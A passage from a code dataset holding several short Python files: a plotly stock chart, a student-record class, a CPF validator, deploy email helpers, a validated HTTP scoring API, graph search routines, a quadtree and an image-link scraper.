pd.read_csv('./abcd.csv')\nstock_df.head()\n\n# print(stock_df)\n# print(type(stock_df))\n\n# stock_df 컬럼명 'Date'의 타입을 Date로 바꿔줌\nstock_df['Date'] = pd.to_datetime(stock_df['Date'])\n\n# stock_df 일자(Date)를 기준으로 오름차순 정렬\nreal_stock = stock_df.sort_values(by=['Date'], ascending=True)\n\nprint(real_stock) # Date 오름차순 정렬완료\nprint(real_stock.Date) # Date 컬럼 값 출력\nprint(real_stock.close) # close 컬럼 값 출력\nprint(real_stock.iloc[0]['Date']) # Date 컬럼의 0번째 인덱스 값 출력\nprint(real_stock.iloc[0]['close']) # close 컬럼의 0번째 인덱스 값 출력\n\n# Draw the line chart\n\nstock_date = go.Scatter(\n x=real_stock.Date,\n y=real_stock['Date'],\n name=\"stock date\")\n\nprint(stock_date)\n\nline_chart = go.Scatter(\n mode='lines+markers',\n marker=dict(color='rgb(255,0,144)', size=8), # 20, 20,255\n # 243, 112, 255 # 20, 20, 255\n line=dict(color='rgb(255,0,144)', width=3),\n x=real_stock.Date,\n y=real_stock['close'],\n name=\"line\")\n\n''' trace = go.Scatter(\n x=real_stock['Date'], y=real_stock['close'],\n name='주가 차트'\n) '''\n\n\nlayout_s = go.Layout(\n width=915,\n height=640,\n title='주가 차트',\n paper_bgcolor='rgb(255,255,255)', # 23, 32, 42 #0,0,0 블랙\n plot_bgcolor='rgb(255,255,255)', # 23, 32, 42 #0,0,0 블랙\n font=dict(family='Tmon몬소리 Black',\n size=22, color='dimgray'),\n\n xaxis=dict(\n gridcolor='rgb(241,241,241)',\n showgrid=True,\n tickcolor='rgb(220,220,220)'\n ),\n yaxis=dict(\n gridcolor='rgb(241,241,241)',\n tickcolor='rgb(220,220,220)'\n )\n)\n\ndata_cur = [line_chart]\n\nfig = go.Figure(data_cur, layout=layout_s)\n\nplotly.offline.plot(fig, filename='stock-prices.html')\n","sub_path":"public/python/kiwoom_stock_line_chart.py","file_name":"kiwoom_stock_line_chart.py","file_ext":"py","file_size_in_byte":2375,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"275997887","text":"\n#print(dir(my_list))\n#self is the instance passed in\n\nclass Student:\n\n def __init__(self, first, last, courses=None):\n self.first_name = first\n self.last_name = last\n if courses == None:\n self.courses = []\n else:\n self.courses = courses\n def add_course(self, course):\n if course not in self.courses:\n self.courses.append(course)\n else:\n print(f\"{self.first_name} is already enrolled \\\nin the course\")\n\n def remove_course(self, course):\n if course in self.courses:\n self.courses.remove(course)\n else:\n print(f\"{course} not found\")\n\n def find_in_file(self, filename):\n with open(file_name) as f:\n line_count = 0\n for line in f:\n first_name, last_name, course_details = Student.prep_record(line.strip())\n student_read_in = Student(first_name, last_name, course_details)\n if line != \"\\n\":\n line_count += 1\n if self == student_read_in:\n return True, line_count\n\n return False, line_count\n\n def add_to_file(self, filename):\n record_exists, line_count = self.find_in_file(filename)\n\n if record_exists:\n return \"Record Already Exists\"\n else:\n record_to_add = Student.prep_to_write(self.first_name, self.last_name, self.courses)\n with open(filename, \"a+\") as to_write:\n to_write.write(record_to_add+\"\\n\")\n\n return \"Record Added\"\n\n def update_record(self, filename):\n record_exists, line_count = self.find_in_file(filename)\n print(record_exists)\n\n if self.find_in_file(filename):\n want_to_update = int(input(f\"Do you want to update {self.first_name}, {self.last_name}'s file? Press 1 for yes or 2 to exit->\"))\n if want_to_update == 1:\n old_record = Student.prep_to_write(self.first_name, self.last_name, self.courses)\n self.first_name = input(\"Enter New First Name->\")\n self.last_name = input(\"Enter New Last Name->\")\n updated_courses = []\n\n for i in self.courses:\n course_edit = input(f\"{i}, Enter new ->\")\n updated_courses.append(course_edit)\n\n self.courses = updated_courses\n record_to_add = Student.prep_to_write(self.first_name, self.last_name, self.courses)\n with open(filename, \"a+\") as to_write:\n to_write.write(record_to_add+\"\\n\")\n\n with open(filename, \"r\") as f:\n lines = f.readlines()\n\n with open(filename, \"w\") as to_write:\n for line in lines:\n if line.strip(\"\\n\") != old_record:\n to_write.write(line)\n\n return \"Record Edited\"\n else:\n print(\"exit\")\n else:\n return \"File Does Not excist\"\n\n\n @staticmethod\n def prep_record(line):\n line = line.split(\":\")\n first_name, last_name = line[0].split(\",\")\n course_details = line[1].rstrip().split(\",\")\n return first_name, last_name, course_details\n\n @staticmethod\n def prep_to_write(first_name, last_name, courses):\n full_name = first_name+','+last_name\n courses = \",\".join(courses)\n return full_name+':'+courses\n\n def __eq__(self, other):\n return self.first_name == other.first_name and self.last_name == other.last_name\n\n def __len__(self):\n return len(self.courses)\n\n def __repr__(self):\n return f\"Student('{self.first_name}','{self.last_name}', '{self.courses}')\"\n\n def __str__(self):\n return f\"First Name: {self.first_name.capitalize()}\\\n \\nLast Name: {self.last_name.capitalize()}\\\n \\nCourses: {', '.join(map(str.capitalize, self.courses))}\"\n\n\n\nclass StudentAthlete(Student):\n\n def __init__(self, first, last, courses=None, sport=None):\n super().__init__(first, last, courses)\n self.sport = sport\n\n\ncourses = ['python','ruby','javascript']\nfile_name = \"data.txt\"\n\nshane = Student(\"shane\",\"palmer\",[\"python\",\"ruby\",\"javascript\"])\njoe = Student(\"Jeff\",\"Tarley\",[\"python\",\"ruby\",\"javascript\"])\njane = StudentAthlete(\"jane\", \"doe\", courses, \"hockey\")\n\nprint(jane.sport)\nprint(isinstance(jane, Student))\n\n\n\n#print(joe.find_in_file(file_name))\n#print(joe.add_to_file(file_name))\n#print(joe.update_record(file_name))\n#student1.add_course(\"java\")\n#print(student1.courses)\n#student1.remove_course(\"python\")\n#print(student1.courses)\n#print(repr(student1))\n","sub_path":"classObj.py","file_name":"classObj.py","file_ext":"py","file_size_in_byte":4682,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"156062049","text":"# coding: utf-8\n\nfrom sys import argv\nfrom functools import reduce\nfrom re import sub\nfrom os import system\n\nclass ValidaCPF:\n def __init__(self, num_cpf):\n self.num_cpf = num_cpf\n\n def valida_cpf(self):\n self.num_cpf = self.retira_formatacao()\n cpf = [int(num) for num in self.num_cpf.zfill(11)]\n if len(set(cpf)) != 1:\n first_check = int(\n (10 * reduce(lambda a, b: a + b, [x * y for x, y in zip(cpf[:9], range(10, 1, -1))])) % 11)\n if first_check == cpf[9]:\n sec_check = int(\n 10 * reduce(lambda a, b: a + b, [x * y for x, y in zip(cpf[:10], range(11, 1, -1))])) % 11\n if sec_check == cpf[10]:\n print(\"O CPF {} é válido.\".format(self.num_cpf))\n return True\n else:\n print(\"O CPF {} não é válido.\".format(self.num_cpf))\n else:\n print(\"O CPF {} não é válido\".format(self.num_cpf))\n else:\n print(\"O CPF {} não é válido.\".format(self.num_cpf))\n\n def retira_formatacao(self):\n cpf = sub('\\D', '', self.num_cpf)\n return cpf\n\n\nif __name__ == '__main__':\n print(\"CPF: {}\".format(ValidaCPF(argv[1]).retira_formatacao()))\n ValidaCPF(argv[1]).valida_cpf()\n","sub_path":"source/validacpf_kleyton.py","file_name":"validacpf_kleyton.py","file_ext":"py","file_size_in_byte":1318,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"407563263","text":"from commcare_cloud.alias import commcare_cloud\nfrom commcare_cloud.colors import color_summary\nfrom commcare_cloud.commands.terraform.aws import get_default_username\n\n\ndef create_release_tag(environment, repo, diff):\n if environment.fab_settings_config.tag_deploy_commits:\n repo.create_git_ref(\n ref='refs/tags/{}-{}-deploy'.format(\n environment.new_release_name(),\n environment.name),\n sha=diff.deploy_commit,\n )\n\n\ndef announce_deploy_start(environment, service_name):\n send_email(\n environment,\n subject=\"{user} has initiated a {system_name} deploy to {environment}\".format(\n user=get_default_username(),\n system_name=service_name,\n environment=environment.meta_config.deploy_env,\n ),\n )\n\n\ndef announce_deploy_failed(environment, service_name):\n send_email(\n environment,\n subject=f\"{service_name} deploy to {environment.name} failed\",\n )\n\n\ndef announce_deploy_success(environment, service_name, diff_ouptut):\n recipient = environment.public_vars.get('daily_deploy_email', None)\n send_email(\n environment,\n subject=f\"{service_name} deploy successful - {environment.name}\",\n message=diff_ouptut,\n to_admins=not recipient,\n recipients=[recipient] if recipient else None\n )\n\n\ndef send_email(environment, subject, message='', to_admins=True, recipients=None):\n \"\"\"\n Call a Django management command to send an email.\n\n :param environment: The Environement object\n :param subject: Email subject\n :param message: Email message\n :param to_admins: True if mail should be sent to Django admins\n :param recipients: List of additional addresses to send mail to\n \"\"\"\n if environment.fab_settings_config.email_enabled:\n print(color_summary(f\">> Sending email: {subject}\"))\n args = [\n message,\n '--subject', subject,\n '--html',\n ]\n if to_admins:\n args.append('--to-admins')\n if recipients:\n if isinstance(recipients, list):\n recipients = ','.join(recipients)\n\n args.extend(['--recipients', recipients])\n\n commcare_cloud(\n environment.name, 'django-manage', '--quiet', 'send_email',\n *args,\n show_command=False\n )\n","sub_path":"src/commcare_cloud/commands/deploy/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2385,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"450671448","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport json\nimport datetime\nimport logging\nimport hashlib\nimport uuid\n\nfrom optparse import OptionParser\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\nfrom collections import OrderedDict\n\nfrom scoring import get_interests, get_score\n\n\nSALT = \"Otus\"\nADMIN_LOGIN = \"admin\"\nADMIN_SALT = \"42\"\nADMIN_SCORE = 42.0\nOK = 200\nBAD_REQUEST = 400\nFORBIDDEN = 403\nNOT_FOUND = 404\nINVALID_REQUEST = 422\nINTERNAL_ERROR = 500\nERRORS = {\n BAD_REQUEST: \"Bad Request\",\n FORBIDDEN: \"Forbidden\",\n NOT_FOUND: \"Not Found\",\n INVALID_REQUEST: \"Invalid Request\",\n INTERNAL_ERROR: \"Internal Server Error\",\n}\nUNKNOWN = 0\nMALE = 1\nFEMALE = 2\nGENDERS = {\n UNKNOWN: \"unknown\",\n MALE: \"male\",\n FEMALE: \"female\",\n}\nEMPTY_VALUES = ('', [], (), {})\nAT_SIGN = \"@\"\nEMAIL_PARTS = 2\nPHONE_LENGTH = 11\nPHONE_FIRST_NUMBER = \"7\"\nDATE_FORMAT = \"%d.%m.%Y\"\nBIRTH_DAY_MAX_YEARS = 70\n\n\nclass ValidationError(Exception):\n def __init__(self, message, code=\"invalid\", params=None):\n super().__init__(message, code, params)\n\n if isinstance(message, list):\n self.error_list = []\n for message in message:\n if not isinstance(message, ValidationError):\n message = ValidationError(message)\n self.error_list.extend(message.error_list)\n else:\n self.message = message\n self.code = code\n self.params = params\n self.error_list = [self]\n\n def __iter__(self):\n for error in self.error_list:\n yield error.message\n\n def __str__(self):\n return repr(list(self))\n\n def __repr__(self):\n return \"ValidationError({0})\".format(self)\n\n\ndef validate_integer(value):\n if not isinstance(value, int):\n raise ValidationError(\"This field must be digit.\")\n\n\ndef validate_string(value):\n if not isinstance(value, str):\n raise ValidationError(\"This field must be string\")\n\n\ndef validate_dict(value):\n if not isinstance(value, dict):\n raise ValidationError(\"This field must be dict\")\n\n\ndef validate_phone(value):\n if not isinstance(value, (str, int)):\n raise ValidationError(\"This field must be string or digit.\")\n\n phone = str(value)\n if not phone.isdigit() or len(phone) != PHONE_LENGTH:\n message = \"This field must consist of {0} digits.\".format(PHONE_LENGTH)\n raise ValidationError(message)\n if phone[0] != PHONE_FIRST_NUMBER:\n message = \"First digit of phone must be {0}\".format(PHONE_FIRST_NUMBER)\n raise ValidationError(message)\n\n\ndef validate_email(value):\n validate_string(value)\n\n if AT_SIGN not in value:\n message = \"This filed must contains {0}.\".format(AT_SIGN)\n raise ValidationError(message)\n\n parts = list(part for part in value.split(AT_SIGN) if part)\n if len(parts) != EMAIL_PARTS:\n message = \"Invalid email, must consist of two parts \" \\\n \"separated by {0}.\".format(AT_SIGN)\n raise ValidationError(message)\n\n\ndef validate_date(value):\n validate_string(value)\n\n try:\n get_date_from_string(value)\n except ValueError:\n message = \"Invalid format of date, supported \" \\\n \"format is <{0}>.\".format(DATE_FORMAT)\n raise ValidationError(message)\n\n\ndef validate_birthday(value):\n validate_date(value)\n\n date = get_date_from_string(value)\n current_date = datetime.datetime.utcnow().date()\n year_diff = current_date.year - date.year\n if (current_date.month, current_date.day) < (date.month, date.day):\n year_diff -= 1\n\n if year_diff > BIRTH_DAY_MAX_YEARS:\n message = \"Max years old is {0}.\".format(BIRTH_DAY_MAX_YEARS)\n raise ValidationError(message)\n\n\ndef validate_gender(value):\n validate_integer(value)\n if value not in GENDERS:\n message = \"Invalid type of gender, available values are {0}\".format(\n \", \".join(map(str, GENDERS.keys()))\n )\n raise ValidationError(message)\n\n\ndef validate_int_array(value):\n error_message = \"This field must be array of integers.\"\n if not isinstance(value, (list, tuple)):\n raise ValidationError(error_message)\n\n for item in value:\n try:\n validate_integer(item)\n except ValidationError:\n raise ValidationError(error_message)\n\n\ndef get_date_from_string(string_date):\n return datetime.datetime.strptime(string_date, DATE_FORMAT)\n\n\nclass Field:\n validators = []\n\n def __init__(self, required=True, nullable=False):\n self.required = required\n self.nullable = nullable\n self.is_empty = False\n\n def validate(self, value):\n self.is_empty = False\n\n if value is None and self.required:\n message = \"This field is required.\"\n raise ValidationError(message, \"required\")\n\n if value in EMPTY_VALUES and not self.nullable:\n message = \"This field must be non empty.\"\n raise ValidationError(message, \"nullable\")\n\n if value is None or value in EMPTY_VALUES:\n self.is_empty = True\n return\n\n errors = []\n for validator in self.validators:\n try:\n validator(value)\n except ValidationError as e:\n errors.append(e)\n\n if errors:\n raise ValidationError(errors)\n\n\nclass DeclarativeFieldsMeta(type):\n def __new__(cls, name, bases, attrs):\n declared_fields = OrderedDict()\n for key, value in list(attrs.items()):\n if isinstance(value, Field):\n declared_fields[key] = value\n attrs.pop(key)\n new_class = super().__new__(cls, name, bases, attrs)\n\n # Collect fields from base classes.\n for base in reversed(new_class.__mro__):\n if hasattr(base, \"declared_fields\"):\n declared_fields.update(base.declared_fields)\n\n new_class.fields = declared_fields\n new_class.declared_fields = declared_fields\n return new_class\n\n @classmethod\n def __prepare__(mcs, name, bases, **kwargs):\n return OrderedDict()\n\n\nclass BaseRequestValidator:\n def __init__(self, request_data=None):\n if request_data is None:\n request_data = {}\n\n self.request_data = request_data\n self._errors = None\n\n def is_valid(self):\n return not self.errors\n\n @property\n def errors(self):\n if self._errors is None:\n self.validate()\n\n return self._errors\n\n def validate(self):\n self._errors = {}\n for name, field in self.fields.items():\n try:\n value = self.request_data.get(name)\n field.validate(value)\n except ValidationError as e:\n self.add_error(name, e)\n\n def add_error(self, name, e):\n if self._errors is None:\n self._errors = {}\n\n if name not in self._errors:\n self._errors[name] = []\n self._errors[name].extend(list(e))\n\n def repr_errors(self):\n field_errors = []\n for name, errors in self.errors.items():\n repr_for_field = \"{0}: {1}\".format(\n name,\n \", \".join((str(error) for error in errors)),\n )\n field_errors.append(repr_for_field)\n return \"; \".join(field_errors)\n\n def non_empty_fields(self):\n non_empty_fields = [\n name for name, field in self.fields.items() if not field.is_empty\n ]\n return non_empty_fields\n\n def __getattr__(self, attr):\n if self.fields.get(attr) is None:\n raise KeyError(\n \"Key '%s' not found in '%s'. Choices are: %s.\" % (\n attr,\n self.__class__.__name__,\n ', '.join(sorted(f for f in self.fields)),\n )\n )\n\n return self.request_data.get(attr)\n\n\nclass RequestValidator(BaseRequestValidator, metaclass=DeclarativeFieldsMeta):\n pass\n\n\nclass CharField(Field):\n validators = [validate_string]\n\n\nclass ArgumentsField(Field):\n validators = [validate_dict]\n\n\nclass EmailField(Field):\n validators = [validate_email]\n\n\nclass PhoneField(Field):\n validators = [validate_phone]\n\n\nclass DateField(Field):\n validators = [validate_date]\n\n\nclass BirthDayField(Field):\n validators = [validate_birthday]\n\n\nclass GenderField(Field):\n validators = [validate_gender]\n\n\nclass ClientIDsField(Field):\n validators = [validate_int_array]\n\n\nclass ClientsInterestsRequest(RequestValidator):\n client_ids = ClientIDsField(required=True)\n date = DateField(required=False, nullable=True)\n\n\nclass OnlineScoreRequest(RequestValidator):\n first_name = CharField(required=False, nullable=True)\n last_name = CharField(required=False, nullable=True)\n email = EmailField(required=False, nullable=True)\n phone = PhoneField(required=False, nullable=True)\n birthday = BirthDayField(required=False, nullable=True)\n gender = GenderField(required=False, nullable=True)\n\n def validate(self):\n super().validate()\n\n pairs = (\n self.phone and self.email,\n self.first_name and self.last_name,\n self.gender and self.birthday\n )\n if any(pairs):\n return\n\n message = \"One of pairs first_name-lastname, phone-email, \" \\\n \"gender-birthday must be with non empty values\"\n self.add_error(\"request_data\", ValidationError(message))\n\n\nclass MethodRequest(RequestValidator):\n account = CharField(required=False, nullable=True)\n login = CharField(required=True, nullable=True)\n token = CharField(required=True, nullable=True)\n arguments = ArgumentsField(required=True, nullable=True)\n method = CharField(required=True, nullable=False)\n\n @property\n def is_admin(self):\n return self.login == ADMIN_LOGIN\n\n\ndef check_auth(request):\n if request.login == ADMIN_LOGIN:\n key = datetime.datetime.now().strftime(\"%Y%m%d%H\") + ADMIN_SALT\n digest = hashlib.sha512(key.encode(\"utf-8\")).hexdigest()\n else:\n key = request.account + request.login + SALT\n digest = hashlib.sha512(key.encode(\"utf-8\")).hexdigest()\n if digest == request.token:\n return True\n return False\n\n\ndef online_score_handler(method_request, context, store):\n online_score_request = OnlineScoreRequest(method_request.arguments)\n if not online_score_request.is_valid():\n return online_score_request.repr_errors(), INVALID_REQUEST\n\n context[\"has\"] = online_score_request.non_empty_fields()\n\n if method_request.is_admin:\n return {\"score\": ADMIN_SCORE}, OK\n\n score = get_score(\n store,\n online_score_request.phone,\n online_score_request.email,\n online_score_request.birthday,\n online_score_request.gender,\n online_score_request.first_name,\n online_score_request.last_name\n )\n return {\"score\": score}, OK\n\n\ndef clients_interests_handler(method_request, context, store):\n clients_interests_request = ClientsInterestsRequest(\n method_request.arguments\n )\n if not clients_interests_request.is_valid():\n return clients_interests_request.repr_errors(), INVALID_REQUEST\n\n client_ids = clients_interests_request.client_ids\n context[\"nclients\"] = len(client_ids)\n response = {\n str(_id): get_interests(store, _id) for _id in client_ids\n }\n return response, OK\n\n\ndef method_handler(request, ctx, store):\n router = {\n \"online_score\": online_score_handler,\n \"clients_interests\": clients_interests_handler\n }\n\n body = request.get(\"body\", None)\n if not body:\n return ERRORS[INVALID_REQUEST], INVALID_REQUEST\n\n method_request = MethodRequest(body)\n if not method_request.is_valid():\n return method_request.repr_errors(), INVALID_REQUEST\n\n if not check_auth(method_request):\n return ERRORS[FORBIDDEN], FORBIDDEN\n\n handler = router.get(method_request.method)\n if handler is None:\n return ERRORS[BAD_REQUEST], BAD_REQUEST\n\n return handler(method_request, ctx, store)\n\n\nclass MainHTTPHandler(BaseHTTPRequestHandler):\n router = {\n \"method\": method_handler\n }\n store = None\n\n def get_request_id(self, headers):\n return headers.get(\"HTTP_X_REQUEST_ID\", uuid.uuid4().hex)\n\n def do_POST(self):\n response, code = {}, OK\n context = {\"request_id\": self.get_request_id(self.headers)}\n request = None\n try:\n content_length = int(self.headers.get(\"Content-Length\"))\n data_string = self.rfile.read(content_length).decode(\"utf-8\")\n request = json.loads(data_string)\n except (TypeError, ValueError):\n code = BAD_REQUEST\n\n if request:\n path = self.path.strip(\"/\")\n logging.info(\n \"%s: %s %s\" % (self.path, data_string, context[\"request_id\"])\n )\n if path in self.router:\n try:\n response, code = self.router[path](\n {\"body\": request, \"headers\": self.headers},\n context,\n self.store\n )\n except Exception as e:\n logging.exception(\"Unexpected error: %s\" % e)\n code = INTERNAL_ERROR\n else:\n code = NOT_FOUND\n\n self.send_response(code)\n self.send_header(\"Content-Type\", \"application/json\")\n self.end_headers()\n if code not in ERRORS:\n r = {\"response\": response, \"code\": code}\n else:\n r = {\n \"error\": response or ERRORS.get(code, \"Unknown Error\"),\n \"code\": code\n }\n context.update(r)\n logging.info(context)\n self.wfile.write(json.dumps(r).encode(\"utf-8\"))\n return\n\n\nif __name__ == \"__main__\":\n op = OptionParser()\n op.add_option(\"-p\", \"--port\", action=\"store\", type=int, default=8080)\n op.add_option(\"-l\", \"--log\", action=\"store\", default=None)\n (opts, args) = op.parse_args()\n logging.basicConfig(\n filename=opts.log,\n level=logging.INFO,\n format=\"[%(asctime)s] %(levelname).1s %(message)s\",\n datefmt=\"%Y.%m.%d %H:%M:%S\"\n )\n server = HTTPServer((\"localhost\", opts.port), MainHTTPHandler)\n logging.info(\"Starting server at %s\" % opts.port)\n\n try:\n server.serve_forever()\n except KeyboardInterrupt:\n pass\n\n server.server_close()\n","sub_path":"hw3/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":14569,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"489349038","text":"#autoscripter\nfrom aiogram.types import Message, Chat\nfrom time import time\nfrom warnings import warn\n\nchats = []\n\ndef startAS(m: Message, act: str = 'reset'):\n\tid = 0\n\tfor i in chats:\n\t\tif i.chat.id == m.chat.id:\n\t\t\tid += 1\n\tif id == 0:\n\t\tchats.append(AutoScript(m.chat))\n\telse:\n\t\tfor i in chats:\n\t\t\tif i.chat.id == m.chat.id:\n\t\t\t\treturn i.tick(act)\n\t\t\t\n\t\t\t\t\n\nclass AutoScript:\n\tdef __init__(self, c: Chat):\n\t\tself.chat = c\n\t\tself.unm = 0\n\t\tself.unmt = 0\n\tdef tick(self, act):\n\t\tif act == 'reset':\n\t\t\tself.unm = 0\n\t\t\tself.unmt = time()\n\t\t\treturn None\n\t\telif act == 'tick':\n\t\t\tself.unm += 1\n\t\t\ttk = time()\n\t\t\tif self.unm > 50 and self.unmt + 21400.0 < tk:\n\t\t\t\treturn self.chat.id\n\t\t\t\t\nif __name__ == '__main__':\n\twarn('Ты што долбаеб? Ты што сдес делоиш?')\n\t\n\t\t\t\n\n\t\t\t\n\t\t\n","sub_path":"autoscript.py","file_name":"autoscript.py","file_ext":"py","file_size_in_byte":798,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"153961231","text":"\"\"\" Program for BFS-visited and CC-visited and other algorithms from AT part1\"\"\"\nfrom collections import deque\n\ndef bfs_visited(ugraph,start_node):\n \"\"\"Implementation of BFS-visited algorithm from AT part 1\n Input: Undirected graph g=(V,E);source node i\n Output:Visited: the set of all nodes visited by the algorithm\"\"\"\n node_queue=deque()\n visited=set([start_node])\n node_queue.append(start_node)\n while not len(node_queue)==0:\n queue_node=node_queue.popleft()\n for neighbour in ugraph[queue_node]:\n if not neighbour in visited:\n visited.add(neighbour)\n node_queue.append(neighbour)\n return visited\n\n\ndef cc_visited(ugraph):\n \"\"\"Implementation of CC-visited algorithm from AT part 1\n Input: Undirected graph g=(V,E)\n Output:CC:the set of connected components of graph g\"\"\"\n remaining_nodes=set([])\n for node in ugraph:\n remaining_nodes.add(node)\n connected_components=[]\n while not len(remaining_nodes)==0:\n arb_node=remaining_nodes.pop()\n component_set=bfs_visited(ugraph,arb_node)\n if not frozenset(component_set) in connected_components:\n connected_components.append(frozenset(component_set))\n remaining_nodes.difference(component_set)\n return connected_components\n \ndef largest_cc_size(ugraph):\n \"\"\"Takes an undirected graph and returns \n size of largest connected component in integer\"\"\"\n ugraph_cc=cc_visited(ugraph)\n largest_cc=set([])\n for component in ugraph_cc:\n if len(component) >len(largest_cc):\n largest_cc=component\n return len(largest_cc)\n \ndef compute_resilience(ugraph,attack_order):\n \"\"\"Simulate attack on graph in order of list attack_order\"\"\"\n resilience_list=[]\n for node in attack_order:\n resilience_list.append(largest_cc_size(ugraph))\n for neighbour in ugraph[node]:\n ugraph[neighbour].remove(node)\n ugraph.pop(node)\n resilience_list.append(largest_cc_size(ugraph))\n return resilience_list\n \n \n#GRAPH0 = {0: set([1]),\n# 1: set([0, 2]),\n# 2: set([1, 3]),\n# 3: set([2])} \n# \n#print cc_visited(GRAPH0)","sub_path":"at_project2.py","file_name":"at_project2.py","file_ext":"py","file_size_in_byte":2212,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"568065392","text":"#問題3\n#10000番目の素数を求めてください\n#素数そすう( Prime number)とは…\n#1より大きい自然数で、1とその数自身以外のどのような自然数でも割り切れない数。1とその数以外、正の約数がない数。\nrepeat = 10\nwhile index < repeat:#9回繰り返す。 indexは現在素数かどうか調べている数\n\tn +=1#1週するたびに素数の値を増やす\n\tisPrime = True\n\tfor p in range(2,n):#値が2〜nまでの安易の値 n(素数) p(=2~現在確認中の素数いないの数 )\n\t\tif n%p==0:#素数が2-素数以内の数で割り切れるか確認\n\t\t\tisPrime = False\n\t\t\tbreak\n\t\tif isPrime:\n\t\t\tindex +=1#\nprint (n)#素数の値を出力","sub_path":"goodfind_arg/sosu.py","file_name":"sosu.py","file_ext":"py","file_size_in_byte":704,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"381181128","text":"from itertools import dropwhile\n\nimport pygame\n\n\nclass QuadTree(object):\n MAX_NUM_PER = 8\n\n def __init__(self, items, bounding_box, max_depth=4):\n self.items = items\n self.bounding_box = bounding_box\n self.depth = max_depth - 1\n # Not the best thing to do here...\n self.ne, self.nw, self.se, self.sw = None, None, None, None\n self.quadrants = [self.ne, self.nw, self.se, self.sw]\n left, top, width, height = self.bounding_box\n self.rects = [left, top, width // 2, height // 2], [width // 2, 0, width, height], \\\n [0, height // 2, width // 2, height // 2], [width // 2, height // 2, width, height]\n\n def add_items(self, item_list):\n for item in item_list:\n index = item.rect.collidelist(self.rects)\n if index == -1:\n yield False, item\n if self.quadrants[index] is not None:\n self.quadrants[index].items.append(self.items.pop(self.items.index(item)))\n else:\n yield True, None\n\n def _rebalance_tree(self):\n for index, _ in enumerate(self.quadrants):\n self.quadrants[index] = QuadTree([], self.rects[index], self.depth)\n\n for item in self.items[:]:\n index = item.rect.collidelist(self.rects)\n self.quadrants[index].add_items([self.items.pop(self.items.index(item))])\n\n def update(self):\n _tmp_list = []\n _ret_list = []\n\n for quad in dropwhile(lambda x: x is None, self.quadrants):\n if quad is None:\n continue\n _tmp_list.extend(quad.update())\n _ret_list.extend(i for i in dropwhile(lambda x: x[0] is True, self.add_items(_tmp_list)))\n\n if len(self.items) > self.MAX_NUM_PER and self.depth > 0:\n # add the boids to the appropriate leaf of the tree\n self._rebalance_tree()\n\n for item in self.items[:]:\n if not item.rect.colliderect(self.bounding_box):\n _ret_list.append(self.items.pop(self.items.index(item)))\n\n return _ret_list\n\n def draw(self, screen):\n pygame.draw.rect(screen, pygame.Color(\"white\"), self.bounding_box, 1)\n for quad in dropwhile(lambda x: x is None, self.quadrants):\n if quad is None:\n continue\n quad.draw(screen)\n\n def get_neighbors(self, item):\n if item not in self.items:\n for quad in dropwhile(lambda x: x is None, self.quadrants):\n if quad is None:\n continue\n res = quad.get_neighbors(item)\n if res:\n return res\n else:\n return set()\n else:\n return set(self.items) - set(item)\n\n def hit(self, rect):\n res = [self.items[n] for n in rect.collidelistall([i.rect for i in self.items])]\n if res:\n return res\n else:\n for quad in dropwhile(lambda x: x is None, self.quadrants):\n if quad is None:\n continue\n res = quad.hit(rect)\n if res:\n return res\n return []\n","sub_path":"core/toolkit/quadtree.py","file_name":"quadtree.py","file_ext":"py","file_size_in_byte":3172,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"378801226","text":"from UAbox.pc_UA import Pc_UA\nfrom py.setting import *\nimport requests\nimport time\nimport random\n\n\nclass TuWwanImages():\n '''\n 兔玩网图片下载\n '''\n def __init__(self):\n self.url = 'https://api.tuwan.com/apps/Welfare/detail?format=json&id='\n self.headers = {\n 'Referer': 'https://www.tuwanjun.com/',\n 'User-Agent': random.choice(Pc_UA),\n }\n # mongoDB初始化\n self.my_set = my_set\n # 日志初始化\n self.iszip_logs =iszip_logs\n self.isres_logs = isres_logs\n self.isnetw_logs = isnetw_logs\n def get_info(self,id):\n '''\n 获取图片标题,图片数量以及图片压缩包\n :return:返回一个包含ID,标题,长度,下载链接,原链接的字典\n '''\n url = self.url+str(id)\n res = requests.get(url,headers=self.headers)\n print(\"id:%s Stuse is %s\" %(id,res.status_code))\n status = res.status_code\n if status == 200:\n info = res.json()\n if info['error'] == 0:\n title = info['title']\n total = info['total']\n id = info['id']\n image_zip_url = info['url']\n links = 'https://www.tuwanjun.com/?id=%d'%id\n if image_zip_url[-3:] != 'zip':\n self.iszip_logs.info(\"当前URL:%s\\t下载链接错误:%s\\n\"%(url,image_zip_url))\n return None\n if not title:\n title = str(time.time()).split('.')[0]\n print(\"id:%s title:%s total:%s\\nimages:%s\\nlinks:%s\" % (id,title,total,image_zip_url,links))\n return {'ID':id,'Title':title,'Total':total,'down_url':image_zip_url,'links':links}\n else:\n self.isres_logs.info('url:%s\\nid:%s\\tstatus:%s\\n'%(url,id,status))\n print(info['error_msg'])\n return None\n else:\n self.isnetw_logs.error(\"网站错误:id:%s Stuse is %s\\n\" %(id,status))\n\n\n def save_info(self,data):\n '''\n 保存到MongoDB数据库,后面继续二次开发下载以及解压\n :return:\n '''\n self.my_set.save(data)\n\nif __name__ == '__main__':\n TW = TuWwanImages()\n for i in range(1,1301):\n temp = TW.get_info(i)\n if temp:\n TW.save_info(temp)\n","sub_path":"py/Spider.py","file_name":"Spider.py","file_ext":"py","file_size_in_byte":2355,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"644273202","text":"import numpy as np\nfrom math import *\n\npoints = [(1, 0), (2, 1), (8, 8), (9, 6), (9, 8)]\ndist = lambda x, y: 